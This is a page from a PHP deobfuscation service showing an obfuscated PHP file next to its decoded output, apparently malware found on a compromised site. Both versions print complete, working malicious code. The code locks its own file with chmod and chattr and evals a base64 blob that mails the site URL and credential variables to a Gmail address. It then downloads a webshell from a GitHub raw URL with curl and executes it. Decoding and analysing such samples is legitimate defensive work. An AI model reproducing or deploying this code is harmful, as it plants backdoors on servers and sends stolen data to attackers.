Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4cO\x42A\x4cS"}["\x67\x6d\x64m\x64\x68\x68"] = "\x77ly\x61\x68\x69\x7..
Decoded Output download
<?php
${"GLOBALS"}["gmdmdhh"] =
"wlyahiststo";
${"GLOBALS"}["qstgmisep"] =
"wwnvjxmvkwd";
${"GLOBALS"}["gbhqdub"] = "pageFTP";
$pjuxlploz = "pageFTP";
${"GLOBALS"}["kcysxzirh"] = "zv";
${"GLOBALS"}["rwrlonkd"] = "sys";
${"GLOBALS"}["yqjldnhbr"] =
"pageURL";
${"GLOBALS"}["diakrfruk"] =
"wlyahiststo";
${"GLOBALS"}["bqqppsmiof"] =
"injbuff";
${"GLOBALS"}["paejvds"] = "u";
${"GLOBALS"}["dxqgughqbupg"] =
"this_file";
$gjoijidwxx = "pageURL";
$scryol = "pageFTP";
${${"GLOBALS"}[
"dxqgughqbupg"
]} = __FILE__;
@system("chmod ugo-w $this_file");
@system("chattr +i $this_file");
${"GLOBALS"}["isdmimsjln"] = "u";
ignore_user_abort(true);
ini_set("memory_limit", "-1");
set_time_limit(0);
error_reporting(0);
ini_set("display_errors", 0);
ini_set("max_execution_time", 5000);
${${"GLOBALS"}["dxqgughqbupg"]} = __FILE__;
@system("chmod ugo-w $this_file");
@system("chattr +i $this_file");
${$gjoijidwxx} =
"http://" .
$_SERVER["SERVER_NAME"] .
$_SERVER["REQUEST_URI"];
$lomsuaxxx = "injbuff";
$qwjfqufq = "u";
${${"GLOBALS"}["paejvds"]} = explode(
"/",
${${"GLOBALS"}["yqjldnhbr"]}
);
${${"GLOBALS"}["yqjldnhbr"]} = str_replace(
${${"GLOBALS"}["paejvds"]}[
count(${${"GLOBALS"}["paejvds"]}) - 1
],
"",
${${"GLOBALS"}["yqjldnhbr"]}
);
${${"GLOBALS"}["rwrlonkd"]} =
$_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
${"GLOBALS"}["atakfxtx"] =
"wwnvjxmvkwd";
${"GLOBALS"}["ydpcijhqc"] =
"pageFTP";
${${"GLOBALS"}["kcysxzirh"]} = "mail";
${${"GLOBALS"}["gbhqdub"]} =
"ftp://" .
$_SERVER["SERVER_NAME"] .
"/public_html/" .
$_SERVER["REQUEST_URI"];
${${"GLOBALS"}["isdmimsjln"]} = explode(
"/",
${$pjuxlploz}
);
${$scryol} = str_replace(
${$qwjfqufq}[count(${${"GLOBALS"}["paejvds"]}) - 1],
"",
${${"GLOBALS"}["ydpcijhqc"]}
);
${${"GLOBALS"}["bqqppsmiof"]} =
"JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJGp1ZHVsICAgPSAiMTc4LUJsYWNrIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIjsKICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkdXNlciAtICRwYXNzIjsKICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJtYWxheXNpYS5zZW5kZXJAZ21haWwuY29tIiwkanVkdWwsJGJvZHksJHVzZXIsJHBhc3MpOyB9Cn0KZWxzZSB7ICR2aXNpdGMrKzsgfQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval(base64_decode(${$lomsuaxxx}));
${"GLOBALS"}["nttrheoevfn"] =
"result";
${${"GLOBALS"}["diakrfruk"]} =
"result";
${"GLOBALS"}["zjbkkpswfbr"] =
"ch";
${"GLOBALS"}["vbceechmecs"] =
"url";
${${"GLOBALS"}[
"vbceechmecs"
]} =
"https://raw.githubusercontent.com/exploit-haxor/webshell/main/-21one.php";
${${"GLOBALS"}["atakfxtx"]} = "url";
${${"GLOBALS"}[
"zjbkkpswfbr"
]} = curl_init(${${${"GLOBALS"}["qstgmisep"]}});
curl_setopt(
${${"GLOBALS"}[
"zjbkkpswfbr"
]},
CURLOPT_RETURNTRANSFER,
1
);
${${${"GLOBALS"}["gmdmdhh"]}} = curl_exec(
${${"GLOBALS"}["zjbkkpswfbr"]}
);
eval(
"?>" .
${${"GLOBALS"}[
"nttrheoevfn"
]}
);
?>
Did this file decode correctly?
Original Code
<?php
${"\x47\x4cO\x42A\x4cS"}["\x67\x6d\x64m\x64\x68\x68"] =
"\x77ly\x61\x68\x69\x73t\x73\x74\x6f";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71s\x74\x67\x6d\x69\x73\x65\x70"] =
"ww\x6e\x76\x6axm\x76k\x77\x64";
${"\x47L\x4f\x42A\x4c\x53"}["\x67bh\x71dub"] = "\x70\x61g\x65\x46T\x50";
$pjuxlploz = "pa\x67\x65\x46T\x50";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6b\x63ys\x78\x7air\x68"] = "\x7a\x76";
${"G\x4c\x4f\x42\x41LS"}["\x72w\x72\x6c\x6fn\x6b\x64"] = "s\x79\x73";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x71j\x6c\x64\x6eh\x62\x72"] =
"\x70\x61geU\x52L";
${"\x47L\x4f\x42\x41L\x53"}["\x64\x69\x61\x6b\x72\x66\x72\x75k"] =
"wl\x79ah\x69s\x74\x73\x74o";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x62q\x71\x70\x70\x73m\x69\x6f\x66"] =
"\x69\x6ej\x62\x75f\x66";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x61\x65jvd\x73"] = "\x75";
${"\x47L\x4f\x42\x41L\x53"}["\x64x\x71g\x75\x67\x68qb\x75\x70g"] =
"\x74h\x69\x73_\x66\x69le";
$gjoijidwxx = "\x70age\x55\x52L";
$scryol = "pag\x65\x46\x54\x50";
${${"\x47\x4c\x4f\x42\x41LS"}[
"d\x78\x71\x67\x75\x67\x68\x71\x62\x75\x70g"
]} = __FILE__;
@system("\x63hmod\x20\x75g\x6f-w\x20$this_file");
@system("\x63\x68\x61ttr +\x69 $this_file");
${"GL\x4f\x42\x41\x4c\x53"}["\x69s\x64\x6d\x69\x6d\x73\x6a\x6c\x6e"] = "\x75";
ignore_user_abort(true);
ini_set("me\x6d\x6f\x72y\x5fl\x69mi\x74", "-1");
set_time_limit(0);
error_reporting(0);
ini_set("d\x69\x73p\x6ca\x79_\x65rr\x6f\x72s", 0);
ini_set("m\x61x_\x65xec\x75\x74\x69\x6f\x6e\x5f\x74i\x6de", 5000);
${${"\x47\x4c\x4fB\x41LS"}["dx\x71g\x75\x67\x68\x71\x62u\x70\x67"]} = __FILE__;
@system("c\x68\x6dod u\x67o-\x77\x20$this_file");
@system("\x63\x68at\x74\x72\x20+\x69 $this_file");
${$gjoijidwxx} =
"\x68\x74t\x70://" .
$_SERVER["S\x45RVE\x52\x5fN\x41\x4dE"] .
$_SERVER["R\x45\x51UEST\x5fUR\x49"];
$lomsuaxxx = "in\x6a\x62uf\x66";
$qwjfqufq = "\x75";
${${"\x47L\x4f\x42\x41\x4cS"}["\x70ae\x6a\x76\x64\x73"]} = explode(
"/",
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x71j\x6c\x64n\x68\x62\x72"]}
);
${${"\x47\x4cO\x42\x41L\x53"}["\x79qj\x6c\x64n\x68b\x72"]} = str_replace(
${${"G\x4c\x4f\x42\x41LS"}["\x70a\x65\x6a\x76\x64\x73"]}[
count(${${"GL\x4fB\x41\x4cS"}["\x70\x61\x65\x6av\x64\x73"]}) - 1
],
"",
${${"\x47LO\x42A\x4c\x53"}["\x79\x71j\x6c\x64\x6e\x68\x62r"]}
);
${${"\x47L\x4f\x42\x41\x4c\x53"}["r\x77\x72\x6c\x6f\x6e\x6b\x64"]} =
$_SERVER["\x48\x54\x54\x50_HO\x53T"] . $_SERVER["RE\x51\x55\x45ST\x5fURI"];
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61ta\x6b\x66xtx"] =
"wwn\x76\x6ax\x6d\x76k\x77\x64";
${"G\x4cO\x42\x41\x4cS"}["\x79\x64p\x63i\x6a\x68\x71\x63"] =
"\x70a\x67e\x46T\x50";
${${"\x47\x4c\x4fBA\x4cS"}["k\x63ys\x78\x7a\x69\x72h"]} = "\155\x61\x69\154";
${${"\x47\x4c\x4f\x42\x41LS"}["\x67\x62h\x71\x64\x75\x62"]} =
"f\x74\x70://" .
$_SERVER["S\x45\x52VER_N\x41ME"] .
"/\x70\x75bl\x69c\x5fh\x74\x6d\x6c/" .
$_SERVER["R\x45Q\x55\x45\x53T_\x55\x52I"];
${${"\x47\x4cO\x42AL\x53"}["\x69\x73\x64m\x69\x6d\x73\x6a\x6c\x6e"]} = explode(
"/",
${$pjuxlploz}
);
${$scryol} = str_replace(
${$qwjfqufq}[count(${${"\x47\x4cO\x42ALS"}["pa\x65j\x76\x64\x73"]}) - 1],
"",
${${"\x47\x4cOB\x41L\x53"}["\x79\x64\x70\x63\x69\x6a\x68\x71c"]}
);
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62\x71\x71\x70psm\x69o\x66"]} =
"\x4a\x48\x5a\x70\x63\x32l\x30\x59\x79\x41\x39\x49CRf\x51\x309\x50\x530lF\x57y\x4a2\x61X\x4e\x70\x64\x48MiX\x54\x73\x4b\x61W\x59gKCR\x32\x61\x58\x4ep\x64G\x4dg\x50\x540g\x49\x69\x49p\x49\x48\x73K\x49\x43\x41kdm\x6czaXRjICA9ID\x417\x43iA\x67JHZ\x70c\x32\x6c0b3IgP\x53\x41kX1\x4eF\x55lZF\x55\x6csi\x55\x6b\x56\x4e\x541\x52FX\x30\x46ER\x46\x49\x69X\x54s\x4b\x49C\x41k\x642\x56\x69\x49C\x41\x67\x49\x43A\x39\x49\x43R\x66U0VSV\x6bV\x53W\x79\x4a\x49\x56FR\x51X\x30\x68\x50U1Qi\x58\x54\x73KI\x43\x41k\x61W\x35qIC\x41gICA9I\x43\x52fU0V\x53Vk\x56\x53\x57y\x4aS\x52\x56\x46V\x52\x56N\x55\x581\x56SS\x53\x4ad\x4fw\x6f\x67\x49\x43R\x30\x59X\x4a\x6e\x5a\x58\x51\x67ID\x30\x67c\x6dF3d\x58J\x73ZGVjb\x32\x52lKC\x52\x33ZW\x49uJ\x47\x6c\x75ai\x6b7CiAg\x4a\x47\x701ZHV\x73I\x43A\x67PSAiM\x54c\x34\x4cU\x4asY\x57\x4erI\x47\x680d\x48A6\x4c\x79\x38k\x64\x47\x46y\x5a\x32\x560\x49\x47\x4a5\x49\x43\x522aXN\x70d\x479yI\x6asKIC\x41\x6bYm9keS\x41g\x49\x43\x41\x39ICJ\x43dW\x636I\x43\x52\x30\x59X\x4anZ\x58QgY\x6ekg\x4a\x48\x5a\x70c\x32\x6c\x30b3\x49g\x4cSAkd\x58\x4e\x6c\x63\x69\x41\x74\x49\x43R\x77\x59\x58Nz\x49\x6as\x4b\x49\x43Bp\x5ai\x41o\x49\x57V\x74\x63HR5\x4b\x43R3Z\x57Ip\x4b\x53\x427IE\x42tY\x57ls\x4bCJt\x59W\x78h\x65\x58Np\x59S5zZW\x35\x6b\x5aXJ\x41Z21\x68a\x57\x77\x75\x59\x32\x39\x74\x49\x69\x77ka\x6eV\x6b\x64W\x77\x73JGJ\x76ZH\x6b\x73J\x48Vz\x5a\x58\x49sJH\x42h\x633\x4d\x70OyB9Cn0\x4bZWxz\x5a\x53\x427IC\x522\x61X\x4e\x70\x64GM\x72Kzsgf\x51\x70\x41\x632V0\x59\x32\x39v\x61\x32ll\x4b\x43J2\x61X\x4e\x70dH\x6f\x69\x4cCR2\x61\x58N\x70\x64\x47\x4dp\x4f\x77\x3d=";
eval(base64_decode(${$lomsuaxxx}));
${"\x47\x4cO\x42A\x4c\x53"}["\x6et\x74\x72\x68\x65\x6f\x65\x76\x66\x6e"] =
"r\x65\x73\x75\x6c\x74";
${${"\x47LO\x42\x41\x4c\x53"}["\x64i\x61\x6b\x72fr\x75\x6b"]} =
"\x72\x65\x73\x75\x6c\x74";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x6a\x62k\x6bp\x73w\x66\x62\x72"] =
"\x63\x68";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x62\x63\x65\x65\x63\x68\x6d\x65\x63s"] =
"\x75\x72l";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"\x76\x62\x63\x65\x65\x63\x68\x6d\x65\x63\x73"
]} =
"\x68\x74\x74\x70s://r\x61\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d/e\x78\x70\x6c\x6f\x69\x74-\x68\x61x\x6f\x72/\x77\x65\x62\x73\x68\x65\x6c\x6c/\x6d\x61\x69\x6e/-\x32\x31\x6f\x6e\x65\x2e\x70\x68\x70";
${${"\x47\x4cOB\x41\x4cS"}["a\x74\x61\x6b\x66\x78t\x78"]} = "\x75\x72\x6c";
${${"\x47\x4c\x4f\x42A\x4cS"}[
"\x7a\x6ab\x6b\x6b\x70\x73w\x66\x62\x72"
]} = curl_init(${${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["qst\x67\x6di\x73ep"]}});
curl_setopt(
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"z\x6a\x62\x6bk\x70\x73\x77\x66\x62\x72"
]},
CURLOPT_RETURNTRANSFER,
1
);
${${${"\x47LO\x42\x41\x4c\x53"}["g\x6dd\x6d\x64\x68\x68"]}} = curl_exec(
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x7aj\x62\x6b\x6bp\x73\x77fb\x72"]}
);
eval(
"?\x3e" .
${${"\x47\x4c\x4f\x42A\x4c\x53"}[
"\x6e\x74\x74\x72\x68\x65o\x65\x76\x66\x6e"
]}
);
?>
Function Calls
system | 1 |
Stats
MD5 | 1b26a69a315fe00194ee7f54c4ae21f7 |
Eval Count | 0 |
Decode Time | 86 ms |